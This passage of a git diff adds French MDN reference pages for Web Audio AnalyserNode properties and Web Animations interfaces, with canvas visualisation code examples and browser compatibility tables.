+<p>L'exemple suivant montre comment créer simplement un  <code>AnalyserNode</code> avec {{domxref("AudioContext")}}, puis utiliser  {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo <a href="https://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a>  (et en particulier <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205">app.js lines 128–205</a>).</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">var contexteAudio = new (window.AudioContext || window.webkitAudioContext)();
+var analyseur = contexteAudio.createAnalyser();
+
+  ...
+
+analyseur.fftSize = 2048;
+var tailleMemoireTampon = analyseur.frequencyBinCount;
+var tableauDonnees = new Uint8Array(tailleMemoireTampon);
+analyseur.getByteTimeDomainData(tableauDonnees);
+
+// dessine un oscilloscope de la source audio
+</code>
+<code class="language-js">var canvas = document.getElementById("oscilloscope");
+var contexteCanvas = canvas.getContext("2d");
+
+function dessiner() {
+
+      requestAnimationFrame(dessiner);
+
+      analyseur.getByteTimeDomainData(tableauDonnees);
+
+      contexteCanvas.fillStyle = 'rgb(200, 200, 200)';
+      contexteCanvas.fillRect(0, 0, WIDTH, HEIGHT);
+
+      contexteCanvas.lineWidth = 2;
+      contexteCanvas.strokeStyle = 'rgb(0, 0, 0)';
+
+      contexteCanvas.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / tailleMemoireTampon;
+      var x = 0;
+
+      for(var i = 0; i &lt; tailleMemoireTampon; i++) {
+
+        var v = tableauDonnees[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          contexteCanvas.moveTo(x, y);
+        } else {
+          contexteCanvas.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      contexteCanvas.lineTo(canvas.width, canvas.height/2);
+      contexteCanvas.stroke();
+    };
+
+    dessiner();</code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-analysernode-interface', 'AnalyserNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.AnalyserNode")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/analysernode/maxdecibels/index.html b/files/fr/web/api/analysernode/maxdecibels/index.html
new file mode 100644
index 0000000000..a66fdaefd4
--- /dev/null
+++ b/files/fr/web/api/analysernode/maxdecibels/index.html
@@ -0,0 +1,149 @@
+---
+title: AnalyserNode.maxDecibels
+slug: Web/API/AnalyserNode/maxDecibels
+translation_of: Web/API/AnalyserNode/maxDecibels
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<p>La propriété <strong><code>maxDecibels</code></strong> de l'objet {{ domxref("AnalyserNode") }} est un nombre  flottant à double précision représentant la puissance maximum de l'intervalle pour l'analyse des données FFT, pour une conversion vers des valeurs non signées ou des nombres flottants — en d'autres termes, elle spécifie la valeur maximum pour l'intervalle de résultats des méthodes <code>getFloatFrequencyData()</code> et <code>getByteFrequencyData()</code>.</p>
+
+<p>Sa valeur par défaut est <code>-30</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>:  Si une valeur supérieure à <code>AnalyserNode.maxDecibels</code> est indiquée, une erreur <code>INDEX_SIZE_ERR</code> est levée.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var contexteAudio = new AudioContext();
+var analyseur = contexteAudio.createAnalyser();
+analyseur.maxDecibels = -10;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un nombre flottant à double précision.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple suivant montre comment créer simplement un  <code>AnalyserNode</code> avec {{domxref("AudioContext")}}, puis utiliser  {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo <a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a>  (et en particulier <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205">app.js lignes 128–205</a>).</p>
+
+<pre class="brush: js">var contexteAudio = new (window.AudioContext || window.webkitAudioContext)();
+var analyseur = contexteAudio.createAnalyser();
+analyseur.minDecibels = -90;
+analyseur.maxDecibels = -10;
+
+  ...
+
+analyseur.fftSize = 256;
+var tailleMemoireTampon = analyseur.frequencyBinCount;
+console.log(bufferLength);
+var tableauDonnees = new Uint8Array(tailleMemoireTampon);
+
+contexteCanvas.clearRect(0, 0, LARGEUR, HAUTEUR);
+
+function dessiner() {
+  dessin = requestAnimationFrame(dessiner);
+
+  analyseur.getByteFrequencyData(tableauDonnees);
+
+  contexteCanvas.fillStyle = 'rgb(0, 0, 0)';
+  contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR);
+
+  var largeurBarre = (LARGEUR / tailleMemoireTampon) * 2.5;
+  var hauteurBarre;
+  var x = 0;
+
+  for(var i = 0; i &lt; tailleMemoireTampon; i++) {
+    hauteurBarre = tableauDonnees[i];
+
+    contexteCanvas.fillStyle = 'rgb(' + (hauteurBarre+100) + ',50,50)';
+    contexteCanvas.fillRect(x,HEIGHT-hauteurBarre/2,largeurBarre,hauteurBarre/2);
+
+    x += largeurBarre + 1;
+  }
+};
+
+dessiner();</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AnalyserNode-maxDecibels', 'maxDecibels')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/analysernode/mindecibels/index.html b/files/fr/web/api/analysernode/mindecibels/index.html
new file mode 100644
index 0000000000..f75062cc0d
--- /dev/null
+++ b/files/fr/web/api/analysernode/mindecibels/index.html
@@ -0,0 +1,149 @@
+---
+title: AnalyserNode.minDecibels
+slug: Web/API/AnalyserNode/minDecibels
+translation_of: Web/API/AnalyserNode/minDecibels
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<p>La propriété <strong><code>minDecibels</code></strong> de l'objet {{ domxref("AnalyserNode") }} est un nombre flottant à double précision représentant la puissance maximum de l'intervalle pour l'analyse des données FFT, pour une conversion vers des valeurs non signées ou des nombres flottants — en d'autres termes, elle spécifie la valeur minimum pour l'intervalle de résultats des méthodes <code>getFloatFrequencyData()</code> et <code>getByteFrequencyData()</code>.</p>
+
+<p>Sa valeur par défaut est <code>-100</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Si une valeur inférieure à <code>AnalyserNode.minDecibels</code> est indiquée, une erreur <code>INDEX_SIZE_ERR</code> est levée.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var contexteAudio = new AudioContext();
+var analyseur = contexteAudio.createAnalyser();
+analyseur.maxDecibels = -90;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un nombre flottant à double précision.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple suivant montre comment créer simplement un  <code>AnalyserNode</code> avec {{domxref("AudioContext")}}, puis utiliser  {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo <a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a>  (et en particulier <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205">app.js lines 128–205</a>).</p>
+
+<pre class="brush: js">var contexteAudio = new (window.AudioContext || window.webkitAudioContext)();
+var analyseur = contexteAudio.createAnalyser();
+analyseur.minDecibels = -90;
+analyseur.maxDecibels = -10;
+
+  ...
+
+analyseur.fftSize = 256;
+var tailleMemoireTampon = analyseur.frequencyBinCount;
+console.log(bufferLength);
+var tableauDonnees = new Uint8Array(tailleMemoireTampon);
+
+contexteCanvas.clearRect(0, 0, LARGEUR, HAUTEUR);
+
+function dessiner() {
+  dessin = requestAnimationFrame(dessiner);
+
+  analyseur.getByteFrequencyData(tableauDonnees);
+
+  contexteCanvas.fillStyle = 'rgb(0, 0, 0)';
+  contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR);
+
+  var largeurBarre = (LARGEUR / tailleMemoireTampon) * 2.5;
+  var hauteurBarre;
+  var x = 0;
+
+  for(var i = 0; i &lt; tailleMemoireTampon; i++) {
+    hauteurBarre = tableauDonnees[i];
+
+    canvasCtx.fillStyle = 'rgb(' + (hauteurBarre+100) + ',50,50)';
+    canvasCtx.fillRect(x,HEIGHT-hauteurBarre/2,largeurBarre,hauteurBarre/2);
+
+    x += largeurBarre + 1;
+  }
+};
+
+dessiner();</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AnalyserNode-maxDecibels', 'maxDecibels')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/analysernode/smoothingtimeconstant/index.html b/files/fr/web/api/analysernode/smoothingtimeconstant/index.html
new file mode 100644
index 0000000000..3b9382dbff
--- /dev/null
+++ b/files/fr/web/api/analysernode/smoothingtimeconstant/index.html
@@ -0,0 +1,154 @@
+---
+title: AnalyserNode.smoothingTimeConstant
+slug: Web/API/AnalyserNode/smoothingTimeConstant
+translation_of: Web/API/AnalyserNode/smoothingTimeConstant
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<p>La propriété <strong><code>smoothingTimeConstant</code></strong> de l'interface {{ domxref("AnalyserNode") }} est un nombre flottant à double précision qui représente <span lang="fr"><span class="hps">une</span><span class="hps"> </span><span class="hps">moyenne</span> </span>entre le buffer courant et le buffer précédent<span lang="fr"><span> - elle sert à lisser</span></span> la transition entre les valeurs.</p>
+
+<p>La valeur est <code>0.8</code> par défaut; elle doit être comprise entre <code>0</code> et <code>1</code>. Lorsqu'elle vaut 0, aucune moyenne n'est effectuée, tandis que la valeur 1 signifie que le chevauchement entre le buffer en cours et le buffer précédent est conséquent lors du calcul des valeurs, ce qui a pour effet d'adoucir le changement lors des appels {{domxref("AnalyserNode.getFloatFrequencyData")}}/{{domxref("AnalyserNode.getByteFrequencyData")}}.</p>
+
+<p>En termes techniques, on applique une <a href="http://webaudio.github.io/web-audio-api/#blackman-window">fenêtre de Blackman</a> pour lisser les valeurs dans le temps. La valeur par défaut convient à la plupart des cas.</p>
+
+<div class="note">
+<p><strong>Note</strong>:  Si la valeur n'est pas comprise entre 0 et 1, une exception <code>INDEX_SIZE_ERR</code> est levée.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var contexteAudio = new AudioContext();
+var analyseur = contexteAudio.createAnalyser();
+analyseur.smoothingTimeConstant = 1;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un nombre flottant à double précision.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple suivant montre comment créer simplement un  <code>AnalyserNode</code> avec {{domxref("AudioContext")}}, puis utiliser  {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo <a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a>  (et en particulier <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205">app.js lines 128–205</a>).</p>
+
+<p><code>Si vou sêtes curieux du fonctionnement de smoothingTimeConstant()</code>, essayez de cloner l'exemple ci-dessous et d'affecter : <code>analyser.smoothingTimeConstant = 0;</code>. Vous verrez que les changements de valeur sont bien plus discordants.</p>
+
+<pre class="brush: js">var contexteAudio = new (window.AudioContext || window.webkitAudioContext)();
+var analyseur = contexteAudio.createAnalyser();
+analyseur.minDecibels = -90;
+analyseur.maxDecibels = -10;
+analyseur.smoothingTimeConstant = 0.85;
+
+  ...
+
+analyseur.fftSize = 256;
+var tailleMemoireTampon = analyseur.frequencyBinCount;
+console.log(tailleMemoireTampon);
+var tableauDonnees = new Uint8Array(tailleMemoireTampon);
+
+contexteCanvas.clearRect(0, 0, LARGEUR, HAUTEUR);
+
+function dessiner() {
+  dessin = requestAnimationFrame(dessiner);
+
+  analyseur.getByteFrequencyData(tableauDonnees);
+
+  contexteCanvas.fillStyle = 'rgb(0, 0, 0)';
+  contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR);
+
+  var largeurBarre = (LARGEUR / tailleMemoireTampon) * 2.5;
+  var hauteurBarre;
+  var x = 0;
+
+  for(var i = 0; i &lt; tailleMemoireTampon; i++) {
+    hauteurBarre = tableauDonnees[i];
+
+    contexteCanvas.fillStyle = 'rgb(' + (hauteurBarre+100) + ',50,50)';
+    contexteCanvas.fillRect(x, HAUTEUR-hauteurBarre/2, largeurBarre, hauteurBarre/2);
+
+    x += largeurBarre + 1;
+  }
+};
+
+dessiner();</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AnalyserNode-smoothingTimeConstant', 'smoothingTimeConstant')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/animation/index.html b/files/fr/web/api/animation/index.html
new file mode 100644
index 0000000000..1e6d42ec28
--- /dev/null
+++ b/files/fr/web/api/animation/index.html
@@ -0,0 +1,188 @@
+---
+title: Animation
+slug: Web/API/Animation
+tags:
+  - API
+  - Animations
+  - Experimental
+  - Interface
+  - Reference
+  - Web Animations
+  - waapi
+  - web animation api
+translation_of: Web/API/Animation
+---
+<p>{{ APIRef("Web Animations API") }}{{SeeCompatTable}}</p>
+
+<p>L'interface <strong><code>Animation</code></strong> de <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API">l'API Web Animations</a> correspond à un lecteur d'animations et offre les commandes nécessaires au contrôle et à la chronologie d'un noeud ou d'une source d'animation.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("Animation.Animation()", "Animation()")}}</dt>
+ <dd>Crée une nouvelle instance de l'objet <code>Animation</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("Animation.currentTime")}}</dt>
+ <dd>La valeur actuelle de temps de l'animation en millisecondes, que l'animation soit en pause ou en cours. Si l'animation ne possède pas de {{domxref("AnimationTimeline", "timeline")}}, est inactive ou n'a toujours pas été lancée, la valeur est <code>null</code>.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.effect")}}</dt>
+ <dd>Récupère et défini le {{domxref("KeyframeEffect")}} associé à cette animation.</dd>
+ <dt>{{domxref("Animation.finished")}} {{readOnlyInline}}</dt>
+ <dd>Retourne la <code>Promise </code>terminée en cours pour cette animation.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.id")}}</dt>
+ <dd>Récupère et défini le <code>String</code> utilisé pour identifier l'animation.</dd>
+ <dt>{{domxref("Animation.playState")}} {{readOnlyInline}}</dt>
+ <dd>Retourne une valeur énumérée qui décit l'état de lecture de l'animation.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.playbackRate")}}</dt>
+ <dd>Retourne et défini la fréquence de lecture de l'animation.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.ready")}} {{readOnlyInline}}</dt>
+ <dd>Retourne la <code>Promise </code>prête en cours pour l'animation.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.startTime")}}</dt>
+ <dd>Retourne et défini le moment prévu auquel la lecture de l'animation devrait commencer.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.timeline")}}</dt>
+ <dd>Retourne et défini la {{domxref("AnimationTimeline", "timeline")}} associée à cette animation.</dd>
+</dl>
+
+<h3 id="Gestionnaire_d'événements">Gestionnaire d'événements</h3>
+
+<dl>
+ <dt>{{domxref("Animation.oncancel")}}</dt>
+ <dd>Retourne et défini le gestionnaire d'événement pour l'événement <code>cancel </code>(annuler).</dd>
+ <dt>{{domxref("Animation.onfinish")}}</dt>
+ <dd>Retourne et défini le gestionnaire d'événement pour l'événement <code>finish</code> (terminer).</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("Animation.cancel()")}}</dt>
+ <dd>Supprime toutes les {{domxref("KeyframeEffect", "keyframeEffects")}} dues à cette animation et interomp la lecture.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.finish()")}}</dt>
+ <dd>Cherche la fin de l'animation, en fonction que l'animation soit en lecture normale ou inversée.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.pause()")}}</dt>
+ <dd>Suspend la lecture de l'animation.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.play()")}}</dt>
+ <dd>Démarre ou reprend la lecture de l'animation, ou redémarre l'animation au début si celle-ci est déjà terminée.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.reverse()")}}</dt>
+ <dd>Inverse la direction de lecture, en s'arrêtant au début de l'animation. Si l'animation est terminée ou annulée, elle sera jouée de la fin vers le début.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web Animations", "#the-animation-interface", "Animation")}}</td>
+   <td>{{Spec2("Web Animations")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatChrome(39.0)}} [1]</td>
+   <td>{{CompatGeckoDesktop(48)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>effet, ligne temporelle, terminée, prête</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Constructeur</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(48)}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatGeckoMobile(48)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Les version précédent Chomme 44 implémente AnimationPlayer (le nom de l'interface dans la version précédente de cette spécification).</p>
+
+<p> </p>
diff --git a/files/fr/web/api/animationeffecttimingproperties/delay/index.html b/files/fr/web/api/animationeffecttimingproperties/delay/index.html
new file mode 100644
index 0000000000..bb8c8d9e56
--- /dev/null
+++ b/files/fr/web/api/animationeffecttimingproperties/delay/index.html
@@ -0,0 +1,140 @@
+---
+title: Delay
+slug: Web/API/AnimationEffectTimingProperties/delay
+tags:
+  - API
+  - Animation
+  - AnimationEffectTimingProperties
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/API/EffectTiming/delay
+---
+<div>{{SeeCompatTable}}{{APIRef("Web Animations")}}</div>
+
+<p>La propriété <strong><code>delay</code></strong> est un dictionnaire pour {{domxref("AnimationEffectTimingProperties")}} qui représente le nombre de millisecondes à attendre avant de démarrer une animation.</p>
+
+<div class="note">
+<p><strong>Note :</strong> {{domxref("Element.animate()")}}, {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly", "KeyframeEffectReadOnly()")}} et {{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}} acceptent toutes un objet avec des propriétés de minutage, y compris <code>delay</code>. La valeur de <code>delay</code> correspond directement à {{domxref("AnimationEffectTimingReadOnly.delay")}} dans les objets  {{domxref("AnimationEffectReadOnly.timing")}} renvoyés par {{domxref("AnimationEffectReadOnly")}}, {{domxref("KeyframeEffectReadOnly")}} et {{domxref("KeyframeEffect")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>timingProperties</em> = {
+  delay: <em>delayInMilliseconds</em>
+};
+
+<em>timingProperties</em>.delay = <em>delayInMilliseconds</em>;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un nombre qui indique la durée qui doit s'écouler entre le début du cycle de l'animation et le début de l'intervalle d'activité (c'est-à-dire le moment où l'animation commence réellement). La valeur par défaut est 0.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple <em><a href="https://codepen.io/rachelnabors/pen/EPJdJx?editors=0010">Pool of Tears</a></em>, chaque larme commence à un instant aléatoire grâce à l'objet de minutage :</p>
+
+<pre class="brush: js">// Générateur de valeurs plus
+// ou moins aléatoires
+var getRandomMsRange = function(min, max) {
+  return Math.random() * (max - min) + min;
+}
+
+// On parcourt l'ensemble des larmes
+tears.forEach(function(el) {
+
+  // On anime chacune des larmes
+  el.animate(
+    tearsFalling,
+    {
+      delay: getRandomMsRange(-1000, 1000), // aléatoire pour chaque larme
+      duration: getRandomMsRange(2000, 6000), // aléatoire pour chaque larme
+      iterations: Infinity,
+      easing: "cubic-bezier(0.6, 0.04, 0.98, 0.335)"
+    });
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#start-delay', 'delay')}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
+   <td>Brouillon d'édiiton.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
